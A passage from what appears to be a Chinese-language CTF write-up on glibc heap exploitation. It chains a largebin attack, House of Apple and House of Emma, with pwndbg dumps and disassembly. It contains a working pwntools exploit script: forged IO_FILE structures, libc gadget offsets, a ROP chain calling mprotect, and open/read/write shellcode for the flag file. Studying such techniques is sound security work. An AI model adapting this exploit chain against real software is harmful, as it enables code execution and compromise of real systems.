06:0030│ 0x55f0c8c02070 (__bss_start+94) —▸ 0x55f0ca80e2b0 ◂— 0x0
07:0038│ 0x55f0c8c02078 (__bss_start+102) —▸ 0x55f0ca80c2a0 ◂— 0x0
08:0040│ 0x55f0c8c02080 (__bss_start+110) —▸ 0x55f0ca80d7f0 ◂— 0x0
09:0048│ 0x55f0c8c02088 (__bss_start+118) —▸ 0x55f0ca80e2a0 ◂— 0x0
0a:0050│ 0x55f0c8c02090 (__bss_start+126) ◂— 0x0
pwndbg> largebin
largebins
0xa80-0xab0: 0x5585860e77e0 —▸ 0x7ff91cdf3250 (main_arena+1520) ◂— 0x5585860e77e0

pwndbg> heap -v
Free chunk (largebins) | PREV_INUSE
Addr: 0x5585860e77e0
prev_size: 0x00
size: 0xab0 (with flag bits: 0xab1)
fd: 0x7ff91cdf3250
bk: 0x7ff91cdf3250
fd_nextsize: 0x5585860e77e0 # chunk
bk_nextsize: 0x5585860e77e0

4.house of apple

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
target_addr = libc_base + libc.sym['_IO_list_all']
_IO_wstrn_jumps = libc_base + 0x1f3d20
_IO_cookie_jumps = libc_base + 0x1f3ae0
_lock = libc_base + 0x1f5720
point_guard_addr = libc_base - 0x2890
expected = heap_base + 0x1900
chain = heap_base + 0x1910
magic_gadget = libc_base + 0x146020
mov_rsp_rdx_ret = libc_base + 0x56530
add_rsp_0x20_pop_rbx_ret = libc_base + 0xfd449
pop_rdi_ret = libc_base + 0x2daa2
pop_rsi_ret = libc_base + 0x37c0a
pop_rdx_rbx_ret = libc_base + 0x87729

f1 = IO_FILE_plus_struct()
f1._IO_read_ptr = 0xa81
f1.chain = chain
f1._flags2 = 8
f1._lock = _lock
f1._mode = 0
f1._wide_data = point_guard_addr
f1.vtable = _IO_wstrn_jumps

f2 = IO_FILE_plus_struct()
f2._IO_write_base = 0
f2._IO_write_ptr = 1
f2._mode = 0
f2._lock = _lock
f2._flags2 = 8
f2.vtable = _IO_cookie_jumps + 0x58

data = flat({
0x8: target_addr - 0x20,
0x10: {
0: {
0: bytes(f1),
0x100: {
0: bytes(f2),
0xe0: [chain + 0x100, rol(magic_gadget ^ expected, 0x11)],
0x100: [
add_rsp_0x20_pop_rbx_ret,
chain + 0x100,
0,
0,
mov_rsp_rdx_ret,
0,
pop_rdi_ret,
chain & ~0xfff,
pop_rsi_ret,
0x4000,
pop_rdx_rbx_ret,
7, 0,
libc_base + libc.sym['mprotect'],
chain + 0x200
],
0x200: asm(shellcraft.open('./flag', 0) + shellcraft.read(3, heap_base, 0x100) + shellcraft.write(1, heap_base, 0x100))
}
},
0xa80: [0, 0xab1]
}
})

edit(5, data)
delete(2)
add(3)
exit()

因为这里是house of apple和emma的嵌套,所以会有些不好看,我们分开看,先只关注apple的部分,先了解apple的流程,也就是利用house of apple修改掉pointer_guard的值的部分:

我们关注fake_io_file1中的_wide_data部分,可以看到他被修改为了target_addr,也就是pointer_guard,vtable被修改为了_IO_wstrn_jumps_mode改为了0,这样会触发_IO_wstrn_overflow,将pointer_guard开始的0x40个字节改写为&fake_io_file1+0xf0或者&fake_io_file1+0x1f0

伪造完成了,但是这是怎么触发的呢:

我们在edit(5, data)后下断点

1
2
3
4
5
6
7
8
9
10
11
12
00:0000│  0x55c2d9c02040 (__bss_start+46) —▸ 0x55c2db3772a0 ◂— 0x0
01:0008│ 0x55c2d9c02048 (__bss_start+54) —▸ 0x55c2db377d60 ◂— 0x0
02:0010│ 0x55c2d9c02050 (__bss_start+62) —▸ 0x55c2db378820 ◂— 0x0
03:0018│ 0x55c2d9c02058 (__bss_start+70) —▸ 0x55c2db3772a0 ◂— 0x0
04:0020│ 0x55c2d9c02060 (__bss_start+78) —▸ 0x55c2db377d50 ◂— 0x0
05:0028│ 0x55c2d9c02068 (__bss_start+86) —▸ 0x55c2db378800 ◂— 0x6161616261616161 ('aaaabaaa')
06:0030│ 0x55c2d9c02070 (__bss_start+94) —▸ 0x55c2db3792b0 ◂— 0x0
07:0038│ 0x55c2d9c02078 (__bss_start+102) —▸ 0x55c2db3772a0 ◂— 0x0
08:0040│ 0x55c2d9c02080 (__bss_start+110) —▸ 0x55c2db3787f0 —▸ 0x7fa7001f3250 (main_arena+1520) —▸ 0x7fa7001f3240 (main_arena+1504) —▸ 0x7fa7001f3230 (main_arena+1488) ◂— ...
09:0048│ 0x55c2d9c02088 (__bss_start+118) —▸ 0x55c2db3792a0 ◂— 0x0
0a:0050│ 0x55c2d9c02090 (__bss_start+126) —▸ 0x55c2db379d50 ◂— 0x0
0b:0058│ 0x55c2d9c02098 (__bss_start+134) ◂— 0x0

我们注意到chunk 8的bk_nextsize为0x55c2db3787f0+0x18=0x55c2db378800 + 8,也就是chunk 5+8

largebin attack:将 fwd 的 bk_nextsize 修改为 target_addr - 0x20fwd->bk_nextsize (victim->bk_nextsize) 的 fd_nextsize 指针就是 target_addr,根据 victim->bk_nextsize->fd_nextsize = victim; 就能完成在 target_addr 处写入 victim 的地址

edit(5)的时候在0x8处放_IO_list_all - 0x20,从而让bk_nextsize 指向_IO_list_all - 0x20,这样后面delete(2)触发largebin attack时就会向_IO_list_all填写伪造了io_file的地址(结合payload,f1是在0x55c2db378800+0x10处伪造的,也就是chunk2的元数据开始伪造),所以我们在data+0x10=0x55c2db378810处伪造fake_io_file1,并且其size也就是f1->_IO_read_ptr要伪造成0xa81,来绕过free时对size的检测

此时再进行exit就会触发fsop从而执行house of apple,这里将pointer_guard的值修改为了fake_io_file2的地址,我们记录为expect=heapbase+0x1900

5.house of emma

我们将f2放在f1偏移0x100处,也就是0x55c2db378810 + 0x100 = 0x55c2db378910 处,所以f1的chain我们就填0x55c2db378910 = heapbase + 0x1910

1
2
3
0: bytes(f1),
0x100: {
0: bytes(f2),
1
2
3
4
pwndbg> heapbase
heapbase : 0x55fa03e60000
pwndbg> p/x 0x55fa03e61910 - 0x55fa03e60000
$3 = 0x1910

这时我们再来看f2

根据正常house of emma的链子,我们这里vtable应该要填_IO_cookie_jumps + 0x38

__fxprintf->__vfprintf_internal->_IO_cookie_read->mg2->setcontext+61

但是这里为什么没有填38而是58呢,因为我们这里其实用的不是这一条链子,apple1在执行的时候已经进入到

  • exit
    • fcloseall
      • _IO_cleanup
        • _IO_flush_all_lockp
          • _IO_OVERFLOW

这一条链子里了,怎么还会触发__fxprintf呢,其实这是通过fllush刷新流的过程中切换到f2之后调用f2的_IO_OVERFLOW,也就是call [rax + 0x18],所以这里我们要填_IO_cookie_jumps + 0x58,这样加起来就是0x70也就是_IO_cookie_read

1
2
3
4
5
► 0x7ffff7c85e8f <_IO_flush_all_lockp+207>    call   qword ptr [rax + 0x18]        <_IO_cookie_read>
rdi: 0x55555560c910 ◂— 0x0
rsi: 0xffffffff
rdx: 0x7ffff7fc45f0 —▸ 0x55555560c900 ◂— 'oaacpaacqaacraac'
rcx: 0x1d8

剩下就和emma一样了,此时rdi是f2地址,执行完_IO_cookie_read是f2地址+0xe0,我们在这里填一个地址:f2+0x100,那么rdi就变成f2+0x100

1
2
3
4
5
6
7
8
9
10
11
12
<_IO_cookie_read>:	 endbr64 
<_IO_cookie_read+4>: mov rax,QWORD PTR [rdi+0xe8]

<_IO_cookie_read+11>: ror rax,0x11
<_IO_cookie_read+15>: xor rax,QWORD PTR fs:0x30
<_IO_cookie_read+24>: test rax,rax
<_IO_cookie_read+27>: je <_IO_cookie_read+38>
<_IO_cookie_read+29>: mov rdi,QWORD PTR [rdi+0xe0]

<_IO_cookie_read+36>: jmp rax
<_IO_cookie_read+38>: mov rax,0xffffffffffffffff
<_IO_cookie_read+45>: ret

利用magic_gadget控制rdx,再用setcontext+61将rdx变为[rdi+8]=[f2+0x100+8],f2+0x108这里放的是f2+0x100,所以rdx等于f2+0x100

再call [rdx + 0x20]也就是call [f2+0x120],正常来说f2 + 120这里我们就应该放setcontext+61的地址了,但是f2+0x120这里我们放的是mov_rsp_rdx_ret,也就是rsp=f2+0x100,call [f2 + 108],然后f2 + 108再放add_rsp_0x20_pop_rbx_ret,也就是rsp = rsp + 0x20 = f2 + 0x120,rbx = [f2 + 0x128],这里放的是0,call [f2 + 0x130],这里放的是rop链,然后就mprotext+orw结束了

1
magic_gadget = libc_base + 0x146020  # mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]

为什么要这么做呢?是为了避开setcontext吗?那这么看house of emma也可以避开setcontext+61,留做